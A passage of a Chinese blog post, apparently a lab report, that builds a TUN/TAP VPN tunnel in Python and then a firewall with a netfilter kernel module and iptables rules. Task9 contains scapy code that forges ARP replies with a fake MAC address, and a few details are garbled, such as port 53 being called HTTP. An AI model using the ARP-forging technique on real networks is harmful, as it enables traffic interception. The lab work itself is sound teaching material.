IFF_TAP   = 0x0002
IFF_NO_PI = 0x1000

# Create the tun interface
tun = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b'qzs%d', IFF_TUN | IFF_NO_PI)
ifname_bytes  = fcntl.ioctl(tun, TUNSETIFF, ifr)

# Get the interface name
ifname = ifname_bytes.decode('UTF-8')[:16].strip("\x00")
print("Interface Name: {}".format(ifname))

os.system("ip addr add 192.168.53.99/24 dev {}".format(ifname))
os.system("ip link set dev {} up".format(ifname))

while True:
    # Get a packet from the tun interface
    packet = os.read(tun, 2048)
    if packet:
        ip = IP(packet)
        print(ip.summary())
        
        if ICMP in ip:
            newip = IP(src=ip[IP].dst, dst=ip[IP].src, ihl=ip[IP].ihl)
            newip.ttl = 99
            newicmp = ICMP(type=0, id=ip[ICMP].id, seq=ip[ICMP].seq)
            if ip.haslayer(Raw):
                data = ip[Raw].load
                newpkt = newip/newicmp/data
            else:
                newpkt = newip/newicmp
            
            os.write(tun, bytes(newpkt))

我们运行程序并且 ping 一下 tun 的地址:

ping 192.168.53.1 -c 1

image-20221105204828110

image-20221105204854630

可以看到,tun 成功接收到了报文并返回了相应的 ICMP 报文。

若不向接口写入IP数据包,而是向接口写入一些任意数据,则修改程序:

#!/usr/bin/env python3

import fcntl
import struct
import os
import time
from scapy.all import *

TUNSETIFF = 0x400454ca
IFF_TUN   = 0x0001
IFF_TAP   = 0x0002
IFF_NO_PI = 0x1000

# Create the tun interface
tun = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b'qzs%d', IFF_TUN | IFF_NO_PI)
ifname_bytes  = fcntl.ioctl(tun, TUNSETIFF, ifr)

# Get the interface name
ifname = ifname_bytes.decode('UTF-8')[:16].strip("\x00")
print("Interface Name: {}".format(ifname))

os.system("ip addr add 192.168.53.99/24 dev {}".format(ifname))
os.system("ip link set dev {} up".format(ifname))

while True:
    # Get a packet from the tun interface
    packet = os.read(tun, 2048)
    if packet:
        ip = IP(packet)
        print(ip.summary())
        
        if ICMP in ip:
            os.write(tun, bytes("Hello,world!", encoding='utf-8'))

image-20221105205209858

image-20221105205228200

可以看到,tun 接收到了报文,但没有返回正确的内容。

Task3 通过隧道将IP数据包发送到VPN服务器

编写 tun_server.py:

#!/usr/bin/env python3

from scapy.all import *

IP_A = "0.0.0.0"
PORT = 9090

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((IP_A, PORT))

while True:
    data, (ip, port) = sock.recvfrom(2048)
    print("{}:{} --> {}:{}".format(ip, port, IP_A, PORT))
    pkt = IP(data)
    print(" Inside: {} --> {}".format(pkt.src, pkt.dst))

编写 tun_client.py:

#!/usr/bin/env python3

import fcntl
import struct
import os
import time
from scapy.all import *

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
SERVER_IP, SERVER_PORT = '10.9.0.11', 9090

TUNSETIFF = 0x400454ca
IFF_TUN   = 0x0001
IFF_TAP   = 0x0002
IFF_NO_PI = 0x1000

# Create the tun interface
tun = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b'qzs%d', IFF_TUN | IFF_NO_PI)
ifname_bytes  = fcntl.ioctl(tun, TUNSETIFF, ifr)

# Get the interface name
ifname = ifname_bytes.decode('UTF-8')[:16].strip("\x00")

os.system("ip addr add 192.168.53.99/24 dev {}".format(ifname))
os.system("ip link set dev {} up".format(ifname))

os.system("ip route add 192.168.60.0/24 dev {}".format(ifname))

while True:
    # Get a packet from the tun interface
    packet = os.read(tun, 2048)
    if packet:
        # Send the packet via the tunnel
        sock.sendto(packet, (SERVER_IP, SERVER_PORT))

现在,我们来试验一下是否工作正常:tun_client.py

HostU中运行tun_client.py,并ping 192.168.53.1 -c 1,然后在DNS Server端运行tun_server.py

image-20221105210042264

image-20221105210151050

我们希望前往 HOST-V 的数据包均经过 tun,所以要配置一下路由表:

ip route add 192.168.60.0/24 dev qzs0

然后运行tun_client.py。现在,我们 ping 一下 HOST-V

image-20221105210852987

image-20221105210904492

可以看到,VPN-SERVER 成功接收并且准备转发。

Task4 设置VPN服务器

修改 tun_server.py

#!/usr/bin/env python3

import fcntl
import struct
import os
import time
from scapy.all import *

TUNSETIFF = 0x400454ca
IFF_TUN   = 0x0001
IFF_TAP   = 0x0002
IFF_NO_PI = 0x1000

# Create the tun interface
tun = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b'qzs%d', IFF_TUN | IFF_NO_PI)
ifname_bytes  = fcntl.ioctl(tun, TUNSETIFF, ifr)

# Get the interface name
ifname = ifname_bytes.decode('UTF-8')[:16].strip("\x00")

os.system("ip addr add 192.168.53.11/24 dev {}".format(ifname))
os.system("ip link set dev {} up".format(ifname))

IP_A = "0.0.0.0"
PORT = 9090

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((IP_A, PORT))

while True:
    data, (ip, port) = sock.recvfrom(2048)
    print("{}:{} --> {}:{}".format(ip, port, IP_A, PORT))
    pkt = IP(data)
    print(" Inside: {} --> {}".format(pkt.src, pkt.dst))
    
    os.write(tun, bytes(pkt))

我们再次 ping HOST-V

image-20221105211351030

image-20221105211407863

HOST-V端运行以下指令:

tcpdump -i eth0 -n

image-20221105212208022

可以看到,尽管目前没有返回功能,但报文已经正确的发给了 HOST-V

Task5 处理双向交通

修改 tun_server.py

#!/usr/bin/env python3

import fcntl
import struct
import os
import time
from scapy.all import *

TUNSETIFF = 0x400454ca
IFF_TUN   = 0x0001
IFF_TAP   = 0x0002
IFF_NO_PI = 0x1000

# Create the tun interface
tun = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b'qzs%d', IFF_TUN | IFF_NO_PI)
ifname_bytes  = fcntl.ioctl(tun, TUNSETIFF, ifr)

# Get the interface name
ifname = ifname_bytes.decode('UTF-8')[:16].strip("\x00")

os.system("ip addr add 192.168.53.11/24 dev {}".format(ifname))
os.system("ip link set dev {} up".format(ifname))

IP_A = "0.0.0.0"
PORT = 9090

SERVER_IP, SERVER_PORT = '10.9.0.5', 9090

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((IP_A, PORT))

while True:
    # this will block until at least one interface is ready
    ready, _, _ = select.select([sock, tun], [], [])
    
    for fd in ready:
        if fd is sock:
            data, (SERVER_IP, SERVER_PORT) = sock.recvfrom(2048)
            pkt = IP(data)
            print("From socket <==: {} --> {}".format(pkt.src, pkt.dst))
            os.write(tun, bytes(pkt))
        if fd is tun:
            packet = os.read(tun, 2048)
            pkt = IP(packet)
            print("From tun ==>: {} --> {}".format(pkt.src, pkt.dst))
            sock.sendto(packet, (SERVER_IP, SERVER_PORT))

修改 tun_client.py

#!/usr/bin/env python3

import fcntl
import struct
import os
import time
from scapy.all import *

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
SERVER_IP, SERVER_PORT = '10.9.0.11', 9090

TUNSETIFF = 0x400454ca
IFF_TUN   = 0x0001
IFF_TAP   = 0x0002
IFF_NO_PI = 0x1000

# Create the tun interface
tun = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b'qzs%d', IFF_TUN | IFF_NO_PI)
ifname_bytes  = fcntl.ioctl(tun, TUNSETIFF, ifr)

# Get the interface name
ifname = ifname_bytes.decode('UTF-8')[:16].strip("\x00")

os.system("ip addr add 192.168.53.99/24 dev {}".format(ifname))
os.system("ip link set dev {} up".format(ifname))

os.system("ip route add 192.168.60.0/24 dev {}".format(ifname))

while True:
    # this will block until at least one interface is ready
    ready, _, _ = select.select([sock, tun], [], [])
    
    for fd in ready:
        if fd is sock:
            data, (SERVER_IP, SERVER_PORT) = sock.recvfrom(2048)
            pkt = IP(data)
            print("From socket <==: {} --> {}".format(pkt.src, pkt.dst))
            os.write(tun, bytes(pkt))
        if fd is tun:
            packet = os.read(tun, 2048)
            pkt = IP(packet)
            print("From tun ==>: {} --> {}".format(pkt.src, pkt.dst))
            sock.sendto(packet, (SERVER_IP, SERVER_PORT))

HOST-U 上 ping HOST-V

image-20221105213333604

HOST-U 上看到:

image-20221105213420268

VPN-SERVER 上看到:

image-20221105213440348

同时,在 HOST-U 上也可以 telnet 到 HOST-V

image-20221105213545457

我们使用 Wireshark 对 HOST-U ping HOST-V 的过程抓包,可以看到:

Wireshark抓包

可以看到 ping 大致可以分为四个过程:

  • HOST-U 发送给 VPN-SERVER
  • VPN-SERVER 发送 ping 请求给 HOST-V
  • HOST-V 回复 VPN-SERVER 的 ping 请求
  • VPN-SERVER 将回复发回给 HOST-U

这四个过程都是通过 tun 传输的。

Task6 隧道破坏实验

和 task5 一样,我们从 HOST-U telnet 到 HOST-V。我们发现,是可以随意输入的。这时候,我们停掉 tun_server.py

image-20221105213805939

我们发现,不管输入什么,都不会显示。

这时,我们再迅速的重新打开 tun_server.py,可以看到,刚刚输入的又突然都显示出来了:

image-20221105213847437

这是由于刚刚链接断掉了,但输入并发送的东西还都在缓冲区。再次建立链接后,缓冲区内的内容被发送。

Task7 主机V上的路由实验

​ 在真正的VPN系统中,流量将被加密(本实验不涉及这一部分)。这意味着返回的车辆必须从同一条隧道返回。如何获得从主机V到VPN服务器的返回流量是非常重要的。我们的设置简化了情况。在我们的设置中,主机V的路由表有一个默认设置:除了192.168.60.0/24网络之外,到任何目的地的数据包都将自动路由到VPN服务器。

​ 在现实世界中,主机V可能距离VPN服务器几跳,默认路由条目可能无法保证将返回数据包路由回VPN服务器。必须正确设置专用网络内的路由表,以确保发送到隧道另一端的数据包将路由到VPN服务器。为了模拟这种情况,我们将从主机V中删除默认条目,并在路由表中添加一个更具体的条目,以便将返回的数据包路由回VPN服务器。

HOST-V 上查看 ip route:

image-20221105214201504

我们首先删掉 default:

image-20221105214252758

然后新增:

image-20221105214340133

我们再在 HOST-U 上 ping HOST-V,发现依然可以 ping 通:

image-20221105214652874

Task8 专用网络之间的VPN

专用网络之间的VPN

启动新的 docker:

image-20221105215109101

查看 docker 的信息:

image-20221105215230842

修改 tun_server.py

#!/usr/bin/env python3

import fcntl
import struct
import os
import time
from scapy.all import *

TUNSETIFF = 0x400454ca
IFF_TUN   = 0x0001
IFF_TAP   = 0x0002
IFF_NO_PI = 0x1000

# Create the tun interface
tun = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b'qzs%d', IFF_TUN | IFF_NO_PI)
ifname_bytes  = fcntl.ioctl(tun, TUNSETIFF, ifr)

# Get the interface name
ifname = ifname_bytes.decode('UTF-8')[:16].strip("\x00")

os.system("ip addr add 192.168.53.11/24 dev {}".format(ifname))
os.system("ip link set dev {} up".format(ifname))

os.system("ip route add 192.168.50.0/24 dev {}".format(ifname))

IP_A = "0.0.0.0"
PORT = 9090

SERVER_IP, SERVER_PORT = '10.9.0.5', 9090

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((IP_A, PORT))

while True:
    # this will block until at least one interface is ready
    ready, _, _ = select.select([sock, tun], [], [])
    
    for fd in ready:
        if fd is sock:
            data, (SERVER_IP, SERVER_PORT) = sock.recvfrom(2048)
            pkt = IP(data)
            print("From socket <==: {} --> {}".format(pkt.src, pkt.dst))
            os.write(tun, bytes(pkt))
        if fd is tun:
            packet = os.read(tun, 2048)
            pkt = IP(packet)
            print("From tun ==>: {} --> {}".format(pkt.src, pkt.dst))
            sock.sendto(packet, (SERVER_IP, SERVER_PORT))

我们在 HOST-U 上 ping HOST-V

image-20221105215556026

VPN-CLIENT 上显示:

image-20221105215618885

VPN-SERVER 上显示:

image-20221105215633906

与之前类似,我们使用 Wireshark 抓包:

Wireshark抓包分析

可以看出,流量是走的 tun。

Task9 试验TAP接口

在之前的 tun.py 上稍作修改,编写 tap.py

#!/usr/bin/env python3

import fcntl
import struct
import os
import time
from scapy.all import *

TUNSETIFF = 0x400454ca
IFF_TUN   = 0x0001
IFF_TAP   = 0x0002
IFF_NO_PI = 0x1000

# Create the tun interface
tap = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b'qzs%d', IFF_TAP | IFF_NO_PI)
ifname_bytes  = fcntl.ioctl(tap, TUNSETIFF, ifr)

# Get the interface name
ifname = ifname_bytes.decode('UTF-8')[:16].strip("\x00")
print("Interface Name: {}".format(ifname))

os.system("ip addr add 192.168.53.99/24 dev {}".format(ifname))
os.system("ip link set dev {} up".format(ifname))

# generate a corresponding ARP reply and write it to the TAP interface.
while True:
    packet = os.read(tap, 2048)
    if packet:
        print("-------------------------------")
        ether = Ether(packet)
        print(ether.summary())
        
        # Send a spoofed ARP response
        FAKE_MAC = "aa:bb:cc:dd:ee:ff"
        if ARP in ether and ether[ARP].op == 1:
            arp = ether[ARP]
            newether = Ether(dst=ether.src, src=FAKE_MAC)
            newarp = ARP(psrc=arp.pdst, hwsrc=FAKE_MAC, pdst=arp.psrc,hwdst=ether.src, op=2)
            newpkt = newether/newarp
            
            print("***** Fake response: {}".format(newpkt.summary()))
            os.write(tap, bytes(newpkt))

运行tap.pyServer端发送arp请求:

image-20221105220038768

image-20221105220109363

可以看到,我们收到了伪造的回复。

Lab5 防火墙探索实验

Task 1 实现简单的防火墙

Task 1.A 实现一个简单的内核模块

LKM允许我们在运行时向内核添加一个新模块。这个新模块使我们能够扩展内核的功能,而无需重新构建内核,甚至无需重新启动计算机。防火墙的包过滤部分可以作为LKM来实现。在这个任务中,我们将熟悉LKM。

1.编译内核文件Makefile

image-20221107160517211

2.生成的内核模块在hello.ko中,可以进行查看删除模块

image-20221107160554629

**3.将hello.ko插入到内核中,再开启一个窗口进行监控内核,指令为dmesg -k -w**:

sudo insmod hello.ko

image-20221107160801526

**4.从内核中删除hello**:

image-20221107161104400

image-20221107161128772

Task 1.B 使用Netfilter实现简单防火墙

在这个任务中,我们将把我们的包过滤程序写成一个LKM,然后插入到内核内部的包处理路径中。

1.先测试网络,可以连上8.8.8.8:

image-20221107163006957

2.运行实验中给定的内核程序,并插入到内核中:

进入packet_filter文件夹:

image-20221107163934790

通过make指令编译文件:

image-20221107164008995

插入内核:

sudo insmod seedFilter.ko
lsmod | grep seedFilter

image-20221107164048561

我们进行内核监控dmesg -k -w

然后进行dig命令:

image-20221107164857371

发现不能连接成功,内核监控中发现有drop包的记录,说明已经可以实现防火墙。

image-20221107164956597

再实现两个钩子,可以实现以下功能:(1)防止其他计算机ping虚拟机;(2)防止其他计算机telnet到虚拟机。请实现两个不同的钩子函数,但将它们注册到同一个netfilter钩子。

首先启动10.9.0.5容器,并尝试pingtelnet,发现均可以实现:

image-20221107170855118

我们编写内核程序:

我一开始在ping8.8.8.8是拦截的是UDP数据,在ping10.9.0.1是我们需要拦截icmp数据,在telnet10.9.0.1:23时需要拦截TCP数据,所以我们需要在原来程序的基础上在编写一个拦截TCP和ICMP的函数,最后再主函数里面运行即可。

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/icmp.h>
#include <linux/if_ether.h>
#include <linux/inet.h>


static struct nf_hook_ops hook1, hook2,hook3,hook4; 

//blocking ping 8.8.8.8
unsigned int blockUDP(void *priv, struct sk_buff *skb,
                       const struct nf_hook_state *state)
{
   struct iphdr *iph;
   struct udphdr *udph;

   u16  port   = 53;
   char ip[16] = "8.8.8.8";
   u32  ip_addr;

   if (!skb) return NF_ACCEPT;

   iph = ip_hdr(skb);
   // Convert the IPv4 address from dotted decimal to 32-bit binary
   in4_pton(ip, -1, (u8 *)&ip_addr, '\0', NULL);

   if (iph->protocol == IPPROTO_UDP) {
       udph = udp_hdr(skb);
       if (iph->daddr == ip_addr && ntohs(udph->dest) == port){
            printk(KERN_WARNING "*** Dropping %pI4 (UDP), port %d\n", &(iph->daddr), port);
            return NF_DROP;
        }
   }
   return NF_ACCEPT;
}
//blocking ping vm:10.9.0.1
unsigned int blockICMP(void *priv, struct sk_buff *skb,
                       const struct nf_hook_state *state)
{
   struct iphdr *iph;
   struct icmphdr *icmph;

   //u16  port   = 53;
   char ip[16] = "10.9.0.1";
   u32  ip_addr;

   if (!skb) return NF_ACCEPT;

   iph = ip_hdr(skb);
   // Convert the IPv4 address from dotted decimal to 32-bit binary
   in4_pton(ip, -1, (u8 *)&ip_addr, '\0', NULL);

   if (iph->protocol == IPPROTO_ICMP) {
       icmph = icmp_hdr(skb);
       if (iph->daddr == ip_addr && icmph->type==ICMP_ECHO){
            printk(KERN_WARNING "*** Dropping %pI4 (ICMP)\n", &(iph->daddr));
            return NF_DROP;
        }
   }
   return NF_ACCEPT;
}
//blcoking telnet 10.9.0.1:23
unsigned int blockTelnet(void *priv, struct sk_buff *skb,
                       const struct nf_hook_state *state)
{
   struct iphdr *iph;
   struct tcphdr *tcph;

   u16  port   = 23;
   char ip[16] = "10.9.0.1";
   u32  ip_addr;

   if (!skb) return NF_ACCEPT;

   iph = ip_hdr(skb);
   // Convert the IPv4 address from dotted decimal to 32-bit binary
   in4_pton(ip, -1, (u8 *)&ip_addr, '\0', NULL);

   if (iph->protocol == IPPROTO_TCP) {
       tcph = tcp_hdr(skb);
       if (iph->daddr == ip_addr && ntohs(tcph->dest) == port){
            printk(KERN_WARNING "*** Dropping %pI4 (Telnet), port %d\n", &(iph->daddr), port);
            return NF_DROP;
        }
   }
   return NF_ACCEPT;
}
unsigned int printInfo(void *priv, struct sk_buff *skb,
                 const struct nf_hook_state *state)
{
   struct iphdr *iph;
   char *hook;
   char *protocol;

   switch (state->hook){
     case NF_INET_LOCAL_IN:     hook = "LOCAL_IN";     break; 
     case NF_INET_LOCAL_OUT:    hook = "LOCAL_OUT";    break; 
     case NF_INET_PRE_ROUTING:  hook = "PRE_ROUTING";  break; 
     case NF_INET_POST_ROUTING: hook = "POST_ROUTING"; break; 
     case NF_INET_FORWARD:      hook = "FORWARD";      break; 
     default:                   hook = "IMPOSSIBLE";   break;
   }
   printk(KERN_INFO "*** %s\n", hook); // Print out the hook info

   iph = ip_hdr(skb);
   switch (iph->protocol){
     case IPPROTO_UDP:  protocol = "UDP";   break;
     case IPPROTO_TCP:  protocol = "TCP";   break;
     case IPPROTO_ICMP: protocol = "ICMP";  break;
     default:           protocol = "OTHER"; break;

   }
   // Print out the IP addresses and protocol
   printk(KERN_INFO "    %pI4  --> %pI4 (%s)\n", 
                    &(iph->saddr), &(iph->daddr), protocol);

   return NF_ACCEPT;
}


int registerFilter(void) {
   printk(KERN_INFO "Registering filters.\n");

   hook1.hook = printInfo;
   hook1.hooknum = NF_INET_LOCAL_OUT;
   hook1.pf = PF_INET;
   hook1.priority = NF_IP_PRI_FIRST;
   nf_register_net_hook(&init_net, &hook1);

   hook2.hook = blockUDP;
   hook2.hooknum = NF_INET_POST_ROUTING;
   hook2.pf = PF_INET;
   hook2.priority = NF_IP_PRI_FIRST;
   nf_register_net_hook(&init_net, &hook2);
   
   hook3.hook = blockICMP;
   hook3.hooknum = NF_INET_PRE_ROUTING;
   hook3.pf = PF_INET;
   hook3.priority = NF_IP_PRI_FIRST;
   nf_register_net_hook(&init_net, &hook3);
   
   hook4.hook = blockTelnet;
   hook4.hooknum = NF_INET_PRE_ROUTING;
   hook4.pf = PF_INET;
   hook4.priority = NF_IP_PRI_FIRST;
   nf_register_net_hook(&init_net, &hook4);

   return 0;
}

void removeFilter(void) {
   printk(KERN_INFO "The filters are being removed.\n");
   nf_unregister_net_hook(&init_net, &hook1);
   nf_unregister_net_hook(&init_net, &hook2);
   nf_unregister_net_hook(&init_net, &hook3);
   nf_unregister_net_hook(&init_net, &hook4);
}

module_init(registerFilter);
module_exit(removeFilter);

MODULE_LICENSE("GPL");

修改Makefile文件:

obj-m += seedBlock.o
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

ins:
        sudo dmesg -C
        sudo insmod seedBlock.ko

rm:
        sudo rmmod seedBlock

和前面的方法一样,进行插入内核:

image-20221107171745951

image-20221107171802420

然后我们进行pingtelnet操作,发现所有ICMPTCP数据包都被防火墙拦截:

image-20221107171905828

image-20221107171925912

Task 2 试验无状态防火墙规则(iptables)

如果数据包超出可接受的参数范围,无状态防火墙就会识别威胁,然后限制或拦截包含威胁的数据。

在前面的任务中,我们有机会使用netfilter构建一个简单的防火墙。实际上,Linux已经有一个内置的防火墙,也是基于netfilter的。这种防火墙称为iptables。从技术上讲,防火墙的核心部分实现称为Xtables,而iptables是配置防火墙的用户空间程序。然而,iptables经常被用来指代内核部分实现和用户空间程序。

无状态防火墙利用关于数据包目的地、来源和其他参数的信息来查明数据是否会构成威胁。这些参数必须由管理员或制造商通过他们事先设置的规则输入。

无状态防火墙不记录任何状态,只根据规则列表过滤当前经过的数据包。

有状态防火墙记录通过的数据流的状态(所有先前数据包中发生的情况)并基于与无状态情况相同的列表进行过滤,但也基于状态信息进行过滤。

如下示意iptables的表、链和功能信息,如果没有用-t特殊指明选择一个具体的表,默认选择的即是filter表:

iptables -t <table> -<operation> <chain> <rule> -j <target>
---------- -------------------- ------- -----------
			Table 	 Chain 				Rule 	  Action

image-20221107201625060

在远程计算机中做实验,需要在清除规则之前确保默认策略是ACCEPT,否则到远程计算机的访问将会因为默认策略被阻拦:

sudo iptables -P INPUT ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
// 清空filters表中所有的链
sudo iptables -F

INPUT链开始,打开端口号22和80以提供SSH和Web服务:

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

为了让SSH和HTTP服务能发送响应信息给客户端,需要允许对外发送TCP数据包:

sudo iptables -A OUTPUT -p tcp -j ACCEPT

同一个系统中的不同程序间往往使用数据包来通信,利用一个称为loopback的虚拟接口,该接口对应多个IP地址,如127.0.0.1等,这个接口把信息导回自己。

// -I INPUT 1把规则加到INPUT链的第一个位置
sudo iptables -I INPUT 1 -i lo -j ACCEPT

设置允许DNS的查询和回复,DNS使用的是UDP端口53.

sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --sport 53 -j ACCEPT
sudo iptables -A OUTPUT -p udp --sport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT

iptables -L列出在主机192.168.65.138上的所有防火墙设置:

image-20221107211712655

总结为以下规则:

sudo iptables -P INPUT ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -F
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A OUTPUT -p tcp -j ACCEPT
sudo iptables -I INPUT 1 -i lo -j ACCEPT
sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --sport 53 -j ACCEPT
sudo iptables -A OUTPUT -p udp --sport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT

image-20221107211649935

最后将默认策略修改回DROP

sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP

我们用另一个主机(这里是192.168.65.139)测试防火墙:防火墙丢弃了除来自端口号53(HTTP)和22(SSH)之外的所有数据包。

image-20221107212154631

发现23号端口上的telnet连接失败了,而80号端口上的wget连接成功。

Task 3 基于连接跟踪的状态防火墙

Task 3.A:试验连接跟踪

为了支持有状态的防火墙,我们需要能够跟踪连接。这是通过内核内部的conntrack机制实现的。在本任务中,我们将进行与此模块相关的实验,并熟悉连接跟踪机制。在我们的实验中,我们将检查路由器容器上的连接跟踪信息,使用conntrack -L指令。

  • ICMP实验:运行以下命令并检查路由器上的连接跟踪信息。
ping 192.168.60.5

image-20221107213802045

一段时间后,连接关闭。

  • UDP实验:运行以下命令并检查路由器上的连接跟踪信息。
// On 192.168.60.5, start a netcat UDP server
nc -lu 9090
// On 10.9.0.5, send out UDP packets
nc -u 192.168.60.5 9090

image-20221107213845341

image-20221107213853902

image-20221107213904272

一段时间后,连接关闭。

  • TCP实验:运行以下命令并检查路由器上的连接跟踪信息。
// On 192.168.60.5, start a netcat TCP server
nc -l 9090
// On 10.9.0.5, send out TCP packets
nc 192.168.60.5 9090

image-20221107214238710

连接将会保持较长时间。

Task 3.B 设置有状态防火墙

现在,我们可以根据连接设置防火墙规则了。在下面的示例中,“-m conntrack”选项表示我们正在使用conntrace模块,这是iptables的一个非常重要的模块;它跟踪连接,iptables根据跟踪信息进行回复,以构建有状态的防火墙。–ctstate ESTABLISHED,RELATED指示数据包属于ESTABLESHED还是RELATED连接。该规则允许属于现有连接的TCP数据包通过。

iptables -A FORWARD -p tcp -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

上述规则不包括不属于任何已建立连接的SYN数据包。

没有它,我们将无法首先建立连接。因此,我们需要添加一个规则来接受传入的SYN数据包:

iptables -A FORWARD -p tcp -i eth0 --dport 8080 --syn -m conntrack --ctstate NEW -j ACCEPT

最后,我们将在FORWARD上设置默认策略以删除所有内容。这样,如果数据包不被上述两个规则接受,它们将被丢弃。

iptables -P FORWARD DROP

Task2中有以下规则,即允许所有发出的TCP数据包

sudo iptables -A OUTPUT -p tcp -j ACCEPT

攻击者尽管不能通过FTP或者telnet连接到外部服务器,但在当前的防火墙设置下他们可以发送TCP数据包,尽管无法收到回复,若攻击者攻陷内部主机,则足够让他们窃取数据。

由此我们可以将Task2中设置的防火墙规则进行改进:

sudo iptables -A OUTPUT -p tcp -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

进行telnet连接防火墙保护的计算机,同时监视Wireshark监视防火墙的输出,发现不含telnet的TCP数据包,全部被防火墙阻拦。

image-20221107221304035

Task 4 限制网络流量

除了阻止数据包,我们还可以限制可以通过防火墙的数据包数量。

这可以使用iptableslimit模块来完成。在本任务中,我们将使用此模块来限制10.9.0.5中允许进入内部网络的数据包数量。

router上运行以下命令,然后从10.9.0.5 ping 192.168.60.5。

iptables -A FORWARD -s 10.9.0.5 -m limit --limit 10/minute --limit-burst 5 -j ACCEPT
iptables -A FORWARD -s 10.9.0.5 -j DROP

当只有第一条指令时,ping结果如下:

image-20221107224440879

发现没有包被丢弃。

当运行以上两条命令时,得到以下结果:

image-20221107224548917

发现部分包被丢弃,说明网络流量被限制。

Task 5 负载平衡

在本任务中,我们将使用它来负载平衡内部网络中运行的三个UDP服务器。

让我们首先在每个主机上启动服务器:192.168.60.5、192.168.6和192.168.0.7(-k选项表示服务器可以从多个主机接收UDP数据报)

nc -luk 8080

image-20221107232313909

我们可以使用statistic模块来实现负载平衡,共有两种模式:第n种随机。我们将使用这两种方法进行实验。

Task 5.A 使用第n个模式(循环)

在路由器容器上,我们设置了以下规则,该规则适用于去往端口8080的所有UDP数据包;它实现了循环负载平衡策略:对于每三个数据包,选择数据包0(即第一个数据包),将其目标IP地址和端口号分别更改为192.168.60.5和8080。修改后的数据包将继续其旅程。

iptables -t nat -A PREROUTING -p udp --dport 8080 -m statistic --mode nth --every 3 --packet 0 -j DNAT --to-destination 192.168.60.5:8080
iptables -t nat -A PREROUTING -p udp --dport 8080 -m statistic --mode nth --every 3 --packet 1 -j DNAT --to-destination 192.168.60.6:8080
iptables -t nat -A PREROUTING -p udp --dport 8080 -m statistic --mode nth --every 3 --packet 2 -j DNAT --to-destination 192.168.60.7:8080

应该注意的是,那些不符合规则的数据包将继续其旅程;它们不会被修改或阻止。有了这个规则,如果您将UDP数据包发送到路由器的8080端口,您将看到三个数据包分别到达三个IP地址。

// On 10.9.0.5
echo hello | nc -u 10.9.0.11 8080
echo hi | nc -u 192.168.60.7 8080
echo mms | nc -u 192.168.60.7 8080
echo qzscomein! | nc -u 192.168.60.6 8080

image-20221107232415222

image-20221107232424316

image-20221107232533486

实际上,有其他数据包的存在,可能不会固定按照该顺序,但只要发送的端口是路由器的8080端口,均会到达这三个IP地址中的一个。

Task 5.B 使用随机模式

让我们使用不同的模式来实现负载平衡。以下规则将选择概率为P的匹配数据包。在这里我选择P分别为0.3、0.3、0.4。

iptables -t nat -A PREROUTING -p udp --dport 8080 -m statistic --mode random --probability 0.3 -j DNAT --to-destination 192.168.60.5:8080
iptables -t nat -A PREROUTING -p udp --dport 8080 -m statistic --mode random --probability 0.3 -j DNAT --to-destination 192.168.60.6:8080
iptables -t nat -A PREROUTING -p udp --dport 8080 -m statistic --mode random --probability 0.4 -j DNAT --to-destination 192.168.60.7:8080

使用此模式来实现负载平衡规则,以便每个内部服务器获得大致相同的流量(可能不完全相同,但当数据包总数较大时应该接近)。

10.9.0.5中重复A中的四个echo指令,得到以下结果:

image-20221107233531743

image-20221107233541007

image-20221107233549658


文章作者: ShiQuLiZhi
版权声明: 本博客所有文章除特别声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 ShiQuLiZhi !
评论
  目录